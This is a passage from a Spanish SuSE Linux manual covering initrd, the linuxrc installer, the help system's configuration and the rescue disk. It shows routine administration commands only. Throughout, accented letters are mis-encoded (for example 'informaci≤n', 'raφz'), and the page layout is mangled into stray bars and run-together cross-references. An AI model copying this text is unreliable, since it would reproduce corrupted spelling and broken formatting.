  26713.  
  26714. El mk_initrd         actual comprueba si realmente se necesita un driver SCSI para
  26715. acceder al sistema de ficheros raφz.  Ejecutando mk_initrd         en una computa-
  26716. dora que tiene / sobre un disco EIDE, no se genera ning·n initrd, ya que no
  26717. hace falta (los kernels de SuSE     Linux incorporan el soporte EIDE). De hecho
  26718. cada vez aparecen mßs controladoras EIDE especφficas, por lo que harß falta
  26719. usar en un futuro un initrd tambiΘn para estas controladoras.
  26720.        _______________________________________________________________________________________________________________________||
  26721.  
  26722.        ||||||||  íLa carga de initrd por parte del ''bootloader'' funciona igual a la carga                     |||            |
  26723.        ||||||||  del kernel mismo (LILO  apunta en su fichero map la ubicaci≤n de estos                         ||             |
  26724.        ||||||||                                                                                                 ||             |
  26725.        ||||||||  datos)  y  por  eso  se  requiere  una  nueva  instalaci≤n  de  LILO  despuΘs  de              ||             |
  26726.        ||||||||  cada  cambio  en  initrd!   O  sea,  despuΘs  de  cada  mk_initrd         hay  que             ||             |
  26727.        ||||||||                                                                                                 ||             |
  26728.        ||||||||  ejecutar lilo    .                                                                             ||             |
  26729.        ||||||||_______________________________________________________________________________________________________________||_
  26730.  
  26731.  
  26732. 16.2.5       Posibles problemas ~ Kernel compilado a medida
  26733.  
  26734. DespuΘs  de  haber  compilado  un  kernel  a  medida  es  posible  que  aparezcan
  26735. ciertos problemas comunes. For example el driver de SCSI se ha incorporado
  26736. fijo  al  kernel,  pero  el  initrd  se  ha  quedado  sin  cambios.   A  la  hora  de
  26737. arrancar  pasa  lo  siguiente:  El  kernel  ya  contiene  el  driver  para  SCSI,  que
  26738. reconoce la controladora.  El initrd en cambio trata de cargar el driver otra
  26739. vez como m≤dulo, lo que puede paralizar el sistema (especialmente en caso
  26740. del aic7xxx      ). En realidad es un fallo del kernel, ya que no deberφa ser posible
  26741. cargar de nuevo un driver ya existente ~ el problema en sφ ya se conoce por el
  26742. driver para el puerto serie.
  26743.  
  26744. Existen varias soluciones para solventar este problema: Se configura el driver
  26745. como  m≤dulo  (entonces  se  carga  correctamente  con  el  initrd)  o  bien,  se
  26746. quita  la  entrada  del  initrd  de  /etc/lilo.conf.   Serφa  lo  mismo  si  se
  26747. quita el driver de INITRD_MODULES              y se ejecuta mk_initrd        ; este comando
  26748. reconoce entonces que no se requiere ning·n initrd.
  26749.  
  26750.  
  26751.  
  26752. 16.2.6       El futuro
  26753.  
  26754. En el futuro es posible que se use initrd para tareas mßs sofisticadas que la
  26755. sencilla carga de m≤dulos necesarios para el acceso a /.
  26756.  
  26757.  
  26758.   o   Driver ''High end'' EIDE
  26759.  
  26760.   o   Sistema de ficheros raφz sobre un Software RAID (linuxrc  configura los
  26761.       dispositivos md)
  26762.  
  26763.   o   Sistema de ficheros raφz sobre LVM
  26764.  
  26765.   o   Sistema de ficheros raφz encriptado (linuxrc pide una contrase±a)
  26766.  
  26767.   o   Sistema  de  ficheros  raφz  sobre  un  disco  SCSI  conectado  a  una  tarjeta
  26768.       PCMCIA.
  26769.  
  26770.  
  26771.                                                                                                                                    *
  26772.  *   415
  26773. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  26774.  *_______________________________________@
  26775.  
  26776.  
  26777.  
  26778.                            Mßs informaci≤n
  26779.                            Se puede encontrar informaci≤n adicional en: /usr/src/linux/Documentation/
  26780.  
  26781.                            ramdisk.txt
  26782.                            /usr/src/linux/Documentation/initrd.txt
  26783.                            pßgina del manual de initrd       (man  4  initrd         ).
  26784.  
  26785.  
  26786. 416
  26787.        ________________________________________________________________________________________________________________16.3.__linux*
  26788.  *rc____________________
  26789.  
  26790.  
  26791.  
  26792. 16.3        linuxrc
  26793. linuxrc  es un programa que se comienza a ejecutar durante el inicio del ker-
  26794.  
  26795. nel, antes de arrancar realmente1 .  Esta propiedad es muy ventajosa, ya que
  26796. permite arrancar un kernel peque±o y modularizado, haciendo posible cargar
  26797. como m≤dulos los pocos drivers que realmente se necesitan.  Esto se puede
  26798. hacer incluso desde un segundo disquete.
  26799.  
  26800. linuxrc ayuda a cargar los drivers relevantes para el hardware y no solo sirve
  26801. para la instalaci≤n sino tambiΘn como herramienta de arranque para el sistema
  26802. Linux instalado, formando asφ una especie de disquete de rescate.  TambiΘn
  26803. sirve  para  resolver  alg·n  problema  grave  en  el  disco  duro  o  simplemente
  26804. cuando se ha olvidado la contrase±a de `root', ya que es posible arrancar
  26805. un sistema de rescate a base de un RAM-Disk.   Hay mßs informaci≤n en el
  26806. apartado 16.5 en la pßgina 425El sistema de rescate de SuSE     section.16.5.
  26807.  
  26808.  
  26809. Men· principal
  26810.  
  26811. DespuΘs de haber ajustado idioma, pantalla y teclado se entra al men· prin-
  26812. cipal de linuxrc (ver figura 2.3 en la pßgina 32Configuraci≤n general e incor-
  26813. poraci≤n del hardwaresubsection.2.2.3).
  26814.  
  26815. El punto a d≤nde llegar es en este momento la opci≤n `Iniciar  la  insta-
  26816. laci≤n  /  Sistema'.  Poder entrar en esa opci≤n depende directamente del
  26817. hardware de la computadora:
  26818.  
  26819. Si el kernel reconoce directamente todos los componentes necesarios para la
  26820. instalaci≤n, no hace falta cargar ning·n driver adicional.  Este es el caso para
  26821. computadoras que solo tienen dispositivos conectados a una controladora del
  26822. tipo (E)IDE.
  26823.  
  26824. Si  la  computadora  tiene  una  controladora  SCSI  y  la  necesita  para  la  insta-
  26825. laci≤n2 , entonces hace falta cargar un m≤dulo SCSI. Lo mismo para el caso
  26826. en el que se efect·a la instalaci≤n a travΘs de una red ya que para ello hay que
  26827. cargar primero un driver (en forma de m≤dulo de kernel) para la tarjeta red.
  26828.  
  26829. Finalmente  existen  algunos  lectores  CD-ROM  antiguos  que  fueron  sumin-
  26830. istrados con su propia tarjeta controladora y por tanto necesitan sus propios
  26831. m≤dulos de kernel. TambiΘn hace falta cargar m≤dulos cuando se estßn usan-
  26832. do tarjetas PCMCIA en un portßtil.
  26833.  
  26834.  
  26835. Informaci≤n del sistema
  26836.  
  26837. Si no se sabe exactamente quΘ hardware tiene la computadora, pueden servir
  26838. de ayuda los mensajes del kernel que aparecen durante el arranque.
  26839.  
  26840. Con la opci≤n `Informaci≤n  del  sistema' (figura 16.1 en la pßgina sigu-
  26841. iente) no solo se pueden ver los mensajes del kernel sino tambiΘn otros datos
  26842. importantes como las direcciones de entrada y salida (ingl. I/O address) de
  26843. las tarjetas PCI o el tama±o de la memoria principal.
  26844.  
  26845. Las siguientes lφneas muestran c≤mo se presentan un disco duro y un lector
  26846. CD-ROM conectados a una controladora EIDE. Es el caso en el que no hace
  26847. falta cargar_ning·n_m≤dulo_del_kernel_para_la_instalaci≤n:_
  26848. 1 El kernel tiene que estar configurado adecuadamente.
  26849. 2 De momento no hace falta considerar una controladora que p. ej.solo se conecta a un escßner
  26850.  
  26851.  
  26852.                                                                                                                                    *
  26853.  *   417
  26854. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  26855.  *_______________________________________@
  26856.  
  26857.                                                         Figura 16.1: Informaci≤n del sistema
  26858.  
  26859.  
  26860.  
  26861.                            hda:  ST32140A,  2015MB  w/128kB  Cache,  LBA,  CHS=1023/64/63
  26862.                            hdb:  CD-ROM  CDR-S1G,  ATAPI  CDROM  drive
  26863.                            Partition  check:
  26864.                              hda:  hda1  hda2  hda3  <  hda5  >
  26865.  
  26866.  
  26867.                            Por otra parte, si se ha arrancado con un kernel que incorpora un driver de SC-
  26868.                            SI, tampoco hace falta cargar ning·n m≤dulo SCSI adicional.  Las siguientes
  26869.                            lφneas  muestran  un  mensaje  tφpico  de  reconocimiento  de  una  controladora
  26870.                            SCSI y de los dispositivos conectados:
  26871.  
  26872.                            scsi  :  1  host.
  26873.                            Started  kswapd  v  1.4.2.2
  26874.                            scsi0  :  target  0  accepting  period  100ns  offset  8  10.00MHz  FAST  SCSI-II
  26875.                            scsi0  :  setting  target  0  to  period  100ns  offset  8  10.00MHz  FAST  SCSI-II
  26876.                               Vendor:  QUANTUM     Model:  VP32210                 Rev:  81H8
  26877.                               Type:     Direct-Access                                  ANSI  SCSI  revision:  02
  26878.                            Detected  scsi  disk  sda  at  scsi0,  channel  0,  id  0,  lun  0
  26879.                            scsi0  :  target  2  accepting  period  236ns  offset  8  4.23MHz  synchronous  SCSI
  26880.                            scsi0  :  setting  target  2  to  period  248ns  offset  8  4.03MHz  synchronous  SCSI
  26881.                               Vendor:  TOSHIBA     Model:  CD-ROM  XM-3401TA   Rev:  0283
  26882.                               Type:     CD-ROM                                             ANSI  SCSI  revision:  02
  26883.                            scsi  :  detected  1  SCSI  disk  total.
  26884.                            SCSI  device  sda:  hdwr  sector=  512  bytes.  Sectors=  4308352  [2103  MB]  [2.1  GB]
  26885.                            Partition  check:
  26886.                              sda:  sda1  sda2  sda3  sda4  <  sda5  sda6  sda7  sda8  >
  26887.  
  26888.  
  26889.                            Carga de m≤dulos
  26890.  
  26891.                            Aquφ se puede elegir quΘ tipo de m≤dulo se necesita. Si se ha arrancado desde
  26892.                            disquete, linuxrc carga los datos necesarios y los presenta para elegir.
  26893.  
  26894.                            Si se ha arrancado desde el CD o desde DOS con loadlin , todos los m≤dulos
  26895.                            ya estßn a disposici≤n de linuxrc .  Esto evita la demora en cargar, pero gasta
  26896.                            mßs memoria, lo que significa que se debe arrancar desde disquete si la com-
  26897.                            putadora tiene menos de 8 MB RAM, ya que todos los drivers que se carguen
  26898.                            arrancando desde CD no tendrßn suficiente espacio.
  26899.  
  26900.  
  26901. 418
  26902.        ________________________________________________________________________________________________________________16.3.__linux*
  26903.  *rc____________________
  26904.  
  26905.                                    Figura 16.2: Cargar m≤dulos
  26906.  
  26907.  
  26908.  
  26909. linuxrc  ofrece  los  drivers  disponibles  en  una  lista.   A  la  izquierda  se  ve  el
  26910. nombre de cada m≤dulo y a la derecha una breve descripci≤n del hardware
  26911. para el cual estß hecho el m≤dulo (driver).
  26912.  
  26913. Para algunos dispositivos existen varios drivers o tambiΘn unos muy nuevos
  26914. que a·n se encuentran en fase alpha. Estos se ofrecen tambiΘn aquφ.
  26915.  
  26916.                           Figura 16.3: Selecci≤n de los drivers SCSI
  26917.  
  26918.  
  26919.  
  26920. Introducci≤n de parßmetros
  26921.  
  26922. Si se ha encontrado el driver que corresponde_al hardware, se coloca el cursor
  26923. sobre la lφnea en cuesti≤n y se pulsa |_____-|.  Aparece una pantalla con la posi-
  26924. bilidad de introducir parßmetros que pasarßn al m≤dulo que se cargue.  En el
  26925. apartado 14.3.4 en la pßgina 373Parßmetros de modprobe        subsection.14.3.4
  26926. hay explicaciones mßs detalladas sobre los parßmetros de m≤dulo.
  26927.  
  26928.  
  26929.                                                                                                                                    *
  26930.  *   419
  26931. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  26932.  *_______________________________________@
  26933.  
  26934.                               Figura 16.4: Introducci≤n de los parßmetros para la carga de los m≤dulos
  26935.  
  26936.  
  26937.  
  26938.                            Hay que tener en cuenta aquφ, que m·ltiples parßmetros deben estar separados
  26939.                            por espacios, contrastando con la introducci≤n de parßmetros en el prompt del
  26940.                            kernel (MILO, LILO  o SYSLINUX).
  26941.  
  26942.                            Por lo general no hace falta especificar el hardware, porque la mayorφa de los
  26943.                            drivers encuentran los componentes por sφ mismos. Solamente las tarjetas de
  26944.                            red y lectores CD-ROM con controladora propia exigen a veces la indicaci≤n_
  26945.                            de parßmetros. De todos modos se puede probar sencillamente pulsando |_____-|
  26946.                            sin pasar ning·n parßmetro.
  26947.  
  26948.                            Algunos  m≤dulos  necesitan  un  buen  tiempo  para_ reconocer_ e  inicializar  el
  26949.                            hardware.  Cambiando a la consola virtual 4 (|A____l|t+ |F___|4) es posible ver los
  26950.                            mensajes del kernel durante la carga del m≤dulo. Sobre todo las controladoras
  26951.                            SCSI son las que se toman su tiempo durante la carga, ya que esperan un rato
  26952.                            la respuesta de todos los dispositivos conectados.
  26953.  
  26954.                            Cuando se haya cargado el m≤dulo exitosamente, linuxrc  muestra los men-
  26955.                            sajes del kernel, asφ que es posible asegurarse del Θxito de la operaci≤n. Si no
  26956.                            es asφ, los mensajes pueden servir para encontrar la raz≤n del fracaso.
  26957.  
  26958.  
  26959.                            Iniciar la instalaci≤n / Sistema
  26960.  
  26961.                            Una vez conseguido el soporte completo del hardware necesario para la in-
  26962.                            stalaci≤n, se puede pasar a la opci≤n `Iniciar  la  instalaci≤n  /  Sis-
  26963.                            tema'.
  26964.  
  26965.                            En este punto (figura 16.5 en la pßgina siguiente) se puede comenzar con una
  26966.                            serie  de  procesos:   `Comenzar  la  instalaci≤n'  (desde  aquφ  comienza
  26967.                            tambiΘn la actualizaci≤n), `Iniciar  el  sistema  instalado' (hace falta
  26968.                            conocer  la  partici≤n  raφz),  `Iniciar  sistema  de  rescate'  (ver  aparta-
  26969.                            do 16.5 en la pßgina 425El sistema de rescate de SuSE     section.16.5) e `Ini-
  26970.                            ciar__Live-CD'_3_.___________________________
  26971.                            3  Este CD solo existe para mßquinas X86;  ver el apartado 3.7.4 en la pßgina 110Configurar
  26972.                            sistema Livesubsection.3.7.4.
  26973.  
  26974.  
  26975. 420
  26976.        ________________________________________________________________________________________________________________16.3.__linux*
  26977.  *rc____________________
  26978.  
  26979.                               Figura 16.5: Destino final de linuxrc
  26980.  
  26981.  
  26982.        _______________________________________________________________________________________________________________________||
  26983.        ||||||||  La opci≤n `Iniciar  Live-CD' es bastante ·til a la hora de comprobar                           |||            |
  26984.        ||||||||                                                                                                 ||             |
  26985.        ||||||||  la  compatibilidad  de  una  determinada  computadora  o  de  un  portßtil  con                ||             |
  26986.        ||||||||  Linux.  Para ello no hace falta hacer una instalaci≤n real en el disco duro.                   ||             |
  26987.        ||||||||                                                                                                 ||             |
  26988.        ||||||||  íSe trata de una prueba que se podrφa efectuar sin mßs en cualquier tienda                     ||             |
  26989.        ||||||||  de PCs moderna!                                                                                ||             |
  26990.        ||||||||_______________________________________________________________________________________________________________||_
  26991.  
  26992.  
  26993.                    Figura 16.6: Selecci≤n del medio fuente en linuxrc
  26994.  
  26995.  
  26996. Se pueden elegir diferentes fuentes para la instalaci≤n (figura 16.6) y tambiΘn
  26997. para generar un sistema de rescate (figura 16.8 en la pßgina 426Iniciar sistema
  26998. de rescateItem.224).
  26999.                                                                                                                                    *
  27000.  *   421
  27001. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  27002.  *_______________________________________@
  27003.  
  27004.  
  27005.  
  27006.                            16.4        El sistema de ayuda para SuSE        Linux
  27007.  
  27008.                            El  sistema  de  ayuda  se  compone  de  muchas  partes  y  se  puede  obtener  de
  27009.                            manera simple a travΘs de cualquier navegador (en caso del entorno grßfico
  27010.                            figura 1.1 en la pßgina 9Ayuda en hipertextosubsection.1.4.2 o, en la consola
  27011.                            de texto, figura 16.7).
  27012.  
  27013.                            El componente principal del sistema se encuentra en el paquete susehilf,
  27014.                            serie doc (Dokumentation). Seg·n la demanda de funcionalidad y contenido
  27015.                            hace falta instalar unos paquetes adicionales que figuran mßs abajo (el pro-
  27016.                            ceso de instalaci≤n se explica en el apartado 3.5.3 en la pßgina 97Cambiar
  27017.                            /  Crear  configuraci≤nsubsection.3.5.3).  Los  paquetes  esenciales  se  instalan
  27018.                            automßticamente cuando se ejecuta la instalaci≤n estßndar de YaST , asφ que,
  27019.                            no cunda el pßnico si se encuentra en este momento un poco perdido;-)
  27020.                            |                                                                                                       *
  27021.  *         |
  27022.                            ________________________________________________________________________________________________________*
  27023.  *________||
  27024.                            |                                                                                                       *
  27025.  *         |
  27026.                            |                                                                                                       *
  27027.  *         |
  27028.                            |                                                                                                       *
  27029.  *         |
  27030.                            |                                                                                                       *
  27031.  *         |
  27032.                            |                                                                                                       *
  27033.  *         |
  27034.                            |                                                                                                       *
  27035.  *         |
  27036.                            |                                                                                                       *
  27037.  *         |
  27038.                            |                                                                                                       *
  27039.  *         |
  27040.                            |                                                                                                       *
  27041.  *         |
  27042.                            |                                                                                                       *
  27043.  *         |
  27044.                            |                                                                                                       *
  27045.  *         |
  27046.                            |                                                                                                       *
  27047.  *         |
  27048.                            |                                                                                                       *
  27049.  *         |
  27050.                            |                                                                                                       *
  27051.  *         |
  27052.                            |                                                                                                       *
  27053.  *         |
  27054.                            |                                                                                                       *
  27055.  *         |
  27056.                            |                                                                                                       *
  27057.  *         |
  27058.                            |                                                                                                       *
  27059.  *         |
  27060.                            |                                                                                                       *
  27061.  *         |
  27062.                            |                                                                                                       *
  27063.  *         |
  27064.                            |                                                                                                       *
  27065.  *         |
  27066.                            |                                                                                                       *
  27067.  *         |
  27068.                            |                                                                                                       *
  27069.  *         |
  27070.                            |_______________________________________________________________________________________________________*
  27071.  *________ |
  27072.  
  27073.                                           Figura 16.7: Primera pßgina del sistema de ayuda (lynx)
  27074.  
  27075.  
  27076.  
  27077.                            paquete apache, serie n:                Apache, el servidor WWW local.
  27078.  
  27079.                            paquete sdb, serie doc:               El paquete bßsico con la funci≤n de b·squeda para
  27080.                                  la SDB.
  27081.  
  27082.                            paquete sdb_de, serie doc:                  Los   textos   del   banco   de   datos   de   soporte
  27083.                                  (SDB), en alemßn.
  27084.  
  27085.                            paquete sdb_cgi, serie doc:                   Funci≤n de b·squeda para el SDB.
  27086.  
  27087.                            paquete susepak, serie doc:                   Por si hay interΘs en estudiar la descripci≤n de
  27088.                                  los paquetes con calma. . .
  27089.  
  27090.                            paquete howtodeh, serie doc:                   Los documentos Howto, en alemßn.
  27091.  
  27092.                            paquete howtoenh, serie doc:                   Los   documentos   Howto,   versi≤n   inglesa
  27093.                                  (generalmente mßs actualizados que las traducciones).
  27094.  
  27095.                            paquete ldp, serie doc:               Libros,   FAQs,   etc.   del   Linux   Documentation
  27096.                                  Project  (LDP) en HTML.
  27097.  
  27098.                            paquete rman, serie ap:               Contiene http-rman .
  27099.  
  27100.  
  27101. 422
  27102.        ________________________________________________________________16.4.__El_sistema_de_ayuda_para_SuSE______Linux_____________*
  27103.  *______________________
  27104.  
  27105.  
  27106.  
  27107. paquete inf2htm, serie doc:                   Con este paquete se pueden leer los documen-
  27108.       tos del tipo Info en un navegador (ver apartado 1.4.3 en la pßgina 8Texin-
  27109.       fo e Infosubsection.1.4.3); los documentos se convierten en el acto (ingl.
  27110.       on-the-fly).
  27111.  
  27112. paquete dochost, serie n:                 Un conjunto de programas para un servidor cen-
  27113.       tral de documentos en la red. íConsultar la documentaci≤n en /usr/doc/
  27114.       packages/dochost/README.SuSE!
  27115.  
  27116. paquete htdig, serie n:               Sirve para generar un φndice de todos los documen-
  27117.       tos del tipo WWW que se encuentran en una computadora (o en la red
  27118.       local); la computadora se convierte en una peque±a mßquina de b·squeda
  27119.       del web.
  27120.  
  27121.  
  27122. El  paquete  dochost  y  el  paquete  htdig  no  son  obligatorios,  pero  pueden
  27123. resultar ·tiles para alcanzar la funcionalidad total.
  27124.  
  27125.  
  27126.  
  27127. 16.4.1       Configuraci≤n para estaci≤n de trabajo o servidor
  27128.  
  27129.  
  27130. Configurar en el fichero /etc/rc.config las variables para una estaci≤n de
  27131. trabajo tal y como estßn listadas en el fichero 16.4.1 (lo mejor es hacerlo con
  27132. YaST  tal como se explica en en la pßgina 444Configurar e iniciar servicios
  27133. de red y localesHfootnote.77 y mßs explφcito en el apartado 3.7.12 en la pßgi-
  27134. na 116Cambiar fichero de configuraci≤nsubsection.3.7.12). Aquφ suponemos
  27135. que el sistema se llama sol.cosmos.univ, si no fuese asφ, se deben usar los
  27136. nombres asignados.
  27137.  
  27138.        _______________________________________________________________________________________________________________________
  27139.        ||||||||                                                                                                                |
  27140.        ||||||||    START_INETD="yes"                                                                                           |
  27141.        ||||||||    START_HTTPD="yes"                                                                                           |
  27142.        ||||||||                                                                                                                |
  27143.        ||||||||    DOC_SERVER="yes"                                                                                            |
  27144.        ||||||||    DOC_HOST="sol.cosmos.univ"                                                                                  |
  27145.        ||||||||    DOC_ALLOW="LOCAL.cosmos.univ"                                                                               |
  27146.        ||||||||                                                                                                                |
  27147.        ||||||||_______________________________________________________________________________________________________________ |
  27148.  
  27149.       Fichero 16.4.1: /etc/rc.config              para estaci≤n de trabajo o servidor
  27150.  
  27151.  
  27152. El inetd (ingl. inet daemon) debe ser iniciado en todo caso, ya que se necesita
  27153. este daemon p. ej.   para el acceso a las +   Manpages vφa http-man .  Natural-
  27154. mente http-rman solo puede funcionar si este servicio no esta desactivado en
  27155. /etc/hosts.deny
  27156.  
  27157. Hay que asegurarse de iniciar el servidor HTTP (apache ) cuando el sistema
  27158. arranca; para ello se responde yes    en START_HTTPD
  27159.  
  27160. DOC_SERVER          determina si se van a proporcionar documentos desde esta com-
  27161. putadora;  esta  variable  tambiΘn  debe  tener  el  valor  yes    cuando  se  trata  de
  27162. una estaci≤n de trabajo, ya que en estos casos la estaci≤n es a su vez el servi-
  27163. dor de la informaci≤n.  DOC_HOST        es el nombre del servidor de documentos
  27164. (aquφ:  sol.cosmos.univ).  En DOC_ALLOW         se apuntan todas las computado-
  27165. ras y dominios que deben tener el permiso de acceso a la documentaci≤n (los
  27166. ''Manpages'').  íSi se quiere dar acceso a un dominio completo, no hay que
  27167. olvidar el `.' en frente del nombre de dominio!
  27168.  
  27169.  
  27170.                                                                                                                                    *
  27171.  *   423
  27172. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  27173.  *_______________________________________@
  27174.  
  27175.                            ________________________________________________________________________________________________________*
  27176.  *________||
  27177.                            |  Tenga  en  cuenta  que  hace  falta  ejecutar  SuSEconfig          despuΘs  del  cam-                *
  27178.  *        ||||
  27179.                            || bio  de  cualquier  variable  en  /etc/rc.config            .   Trabajando  con  YaST                *
  27180.  *        ||||
  27181.                            |  SuSEconfig          se ejecuta automßticamente.                                                      *
  27182.  *        ||||
  27183.                            |_______________________________________________________________________________________________________*
  27184.  *________|||_
  27185.  
  27186.                            La b·squeda de texto no funciona antes de generar los φndices para ht://Dig
  27187.                            (paquete  htdig).   Estos  φndices  ocupan  actualmente   alrededor  de  70  MB.
  27188.                            Cuando  se  estß  inicializando  el  banco  de  datos  debe  haber  un  mφnimo  de
  27189.                            200 MB de espacio en el directorio /opt/www/htdig.  La inicializaci≤n se
  27190.                            efect·a con el siguiente comando:
  27191.  
  27192.                                  tierra:~  #  suserundig
  27193.  
  27194.                            El script /usr/sbin/suserundig                   eval·a el fichero de configuraci≤n /opt/
  27195.                            www/htdig/conf/susedig.conf y genera los φndices. En caso de cambiar
  27196.                            los datos (p. ej.  despuΘs de una actualizaci≤n de los documentos HTML) hay
  27197.                            que ejecutar suserundig          de nuevo.
  27198.  
  27199.  
  27200.                            16.4.2       Configuraci≤n para una computadora en modo cliente
  27201.  
  27202.                            Tal  vez  no  se  desea  instalar  la  documentaci≤n  completa  en  todas  las  com-
  27203.                            putadoras de una red local; si es asφ, se ha de aprovechar el concepto cliente-
  27204.                            servidor.   En  la  computadora  que  figura  como  cliente  solamente  se  instala
  27205.                            el paquete dochost, serie n y se definen las variables en /etc/rc.config
  27206.                            como se muestra en el fichero 16.4.2.
  27207.                            ________________________________________________________________________________________________________*
  27208.  *________
  27209.                            |                                                                                                       *
  27210.  *         |
  27211.                            |                                                                                                       *
  27212.  *         |
  27213.                            |    DOC_SERVER="no"                                                                                    *
  27214.  *         |
  27215.                            |    DOC_HOST="sol.cosmos.univ"                                                                         *
  27216.  *         |
  27217.                            |    DOC_ALLOW=""                                                                                       *
  27218.  *         |
  27219.                            |                                                                                                       *
  27220.  *         |
  27221.                            |                                                                                                       *
  27222.  *         |
  27223.                            |_______________________________________________________________________________________________________*
  27224.  *________ |
  27225.  
  27226.                                        Fichero 16.4.2: /etc/rc.config              para una mßquina Cliente
  27227.  
  27228.  
  27229.                            íPor  supuesto  que  esto  solo  funciona  si  la  documentaci≤n  estß  realmente
  27230.                            instalada en sol.cosmos.univ!
  27231.  
  27232.  
  27233.                            16.4.3       Usar el sistema de ayuda
  27234.  
  27235.                            Si  se  ha  instalado  el  sistema  de  ayuda  (como  se  ha  explicado  arriba),  es
  27236.                            posible  acceder  a  Θl  con  el  comando  susehelp       .   Otra  posibilidad  es  la  de
  27237.                            indicar directamente el URL http://localhost/doc/susehilf/index.
  27238.                            html  o  http://sonne.kosmos.all/doc/susehilf/index.html  en  un
  27239.                            navegador  WWW.  Evidentemente,  sol.cosmos.univ  solo  funciona  si  ha
  27240.                            llamado de este modo a la computadora o al servidor de documentos.
  27241.  
  27242.  
  27243.  
  27244. 424
  27245.        ____________________________________________________________________________16.5.__El_sistema_de_rescate_de_SuSE____________*
  27246.  *______________________
  27247.  
  27248.  
  27249.  
  27250. 16.5        El sistema de rescate de SuSE
  27251.  
  27252. Introducci≤n
  27253.  
  27254. SuSE     Linux contiene ~ independientemente del sistema de instalaci≤n ~ un
  27255. sistema de rescate aut≤nomo4  que permite acceder ''desde afuera'' a todas las
  27256. particiones de Linux en los discos duros. El sistema de rescate contiene entre
  27257. otras una buena selecci≤n de utilidades para brindar suficientes herramientas
  27258. que  permitan  arreglar  una  serie  de  problemas,  p. ej.  respecto  a  la  falta  de
  27259. acceso a los discos o respecto a problemas con ficheros de configuraci≤n.
  27260.  
  27261. El  sistema  de  rescate  se  forma  de  un  disquete  de  arranque  o  de  un  SuSE
  27262. Linux-CD arrancable y de un sistema de fichero de rescate, cuyo origen puede
  27263. ser un disquete, un CD, la red o incluso el servidor-FTP de SuSE    ; en total: es
  27264. emocionante!
  27265.  
  27266.  
  27267. Preparativos
  27268.  
  27269. Es posible generar el disquete de arranque a partir de la imagen correcta en
  27270. el CD bajo /disks.  A parte de este disquete de arranque no se necesita mßs
  27271. que el fichero /disks/rescue,  que contiene la imagen comprimida de un
  27272. peque±o sistema de fichero raφz.  Este fichero se copia a un segundo disquete
  27273. de rescate con los comandos de Linux:
  27274.  
  27275.       tierra:  #  /sbin/badblocks  -v  /dev/fd0  1440
  27276.       tierra:  #  dd  if=/cdrom/disks/rescue  of=/dev/fd0  bs=18k
  27277. o con los equivalentes de DOS (suponiendo aquφ que Q: representa el lector
  27278. CD-ROM bajo DOS):
  27279.  
  27280.       Q:\>  cd  \dosutils\rawrite
  27281.       Q:\dosutils\rawrite>  rawrite.exe
  27282. para luego cargar todo el sistema desde este disquete y el de arranque; tambiΘn
  27283. se puede generar el disquete de rescate con YaST  (ver apartado 3.7.2 en la
  27284. pßgina  106`Crear  disco  de  rescate'subsection.3.7.2).   El  disquete  de
  27285. rescate estß actualmente  basado a prop≤sito en la librerφa libc5  (SuSE     Linux
  27286. 5.3);  solo asφ caben varios programas (un +   Editor,  fdisk ,  e2fsck ,  etc.)  en
  27287. un solo disquete.  La librerφa glibc  serφa demasiado grande para caber en el
  27288. disquete.
  27289.  
  27290. No se puede montar el disquete de rescate ya que no contiene ning·n sistema
  27291. de fichero,  sino la imagen comprimida de uno (una imagen no comprimida
  27292. de unos 3 MB resulta demasiado grande para un disquete). No obstante, si se
  27293. desea verla alguna vez, se debe descomprimir esa imagen y despuΘs montarla
  27294. como usuario `root'.  Esto supone que el kernel soporta el loop-Device y
  27295. funciona del siguiente modo:
  27296.  
  27297.       tierra:  #  cp  /cdrom/disks/rescue  /root/rescue.gz
  27298.       tierra:  #  gunzip  /root/rescue.gz
  27299.       tierra:  #  mount  -t  ext2  -o  loop  /root/rescue  /mnt
  27300. Ahora se puede ver el contenido del sistema de rescate montado en el direc-
  27301. torio /mnt.
  27302. 4      ____________________________________________________
  27303.    En realidad ya son dos sistemas o, incluso 3, si se quiere tomar tambiΘn el sistema de fichero
  27304. ''Live'' (ver apartado 3.7.4 en la pßgina 110Configurar sistema Livesubsection.3.7.4) como un
  27305. sistema de rescate.
  27306.  
  27307.  
  27308.                                                                                                                                    *
  27309.  *   425
  27310. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  27311.  *_______________________________________@
  27312.  
  27313.                            ________________________________________________________________________________________________________*
  27314.  *________||
  27315.                            |  Siempre se debe mantener un par de disquetes de arranque y de rescate en                             *
  27316.  *        ||||
  27317.                            || un lugar seguro.  El peque±o esfuerzo para generar y mantenerlos no tiene                            *
  27318.  *        ||||
  27319.                            |  comparaci≤n con el trabajo y la pΘrdida de tiempo que representa no tener                            *
  27320.  *        ||||
  27321.                            |                                                                                                       *
  27322.  *        |||
  27323.                            |  nada en un caso de emergencia.                                                                       *
  27324.  *        |||
  27325.                            |_______________________________________________________________________________________________________*
  27326.  *________|||_
  27327.  
  27328.                            Iniciar sistema de rescate
  27329.  
  27330.                            El sistema de rescate se inicia como la instalaci≤n desde el disquete de ar-
  27331.                            ranque o desde el CD 1 si la BIOS de la computadora lo soporta. Los pasos a
  27332.                            seguir son los siguientes:
  27333.  
  27334.                             1.   Requisito:   Se puede arrancar desde la disquetera o desde el lector CD-
  27335.                                  ROM (si este no fuera el caso se tendrφa que cambiar el orden de arranque
  27336.                                  en la BIOS).
  27337.                             2.   Arrancar el sistema con el disquete o el CD 1. Introduzca en el prompt de
  27338.                                  arranque yast1      o bien manual      ; usando manual       existe la posibilidad de
  27339.                                  cargar los m≤dulos manualmente.
  27340.                             3.   Ajustar el idioma, el teclado, etc. en linuxrc hasta llegar al men· principal.
  27341.                             4.   Seleccionar  en  el  men·  principal  `Iniciar  la  instalaci≤n,  sis-
  27342.                                  tema'.
  27343.                             5.   Si  se  ha  arrancado  con  el  disquete  de  arranque,  se  introduce  el  CD  de
  27344.                                  instalaci≤n o el disquete (rescue) con la imagen comprimida del sistema
  27345.                                  de rescate.
  27346.  
  27347.                                         Figura 16.8: Elecci≤n del medio fuente del sistema rescue
  27348.  
  27349.  
  27350.                             6.   En  el  men·  `Iniciar  la  instalaci≤n,  sistema'  se  selecciona  la
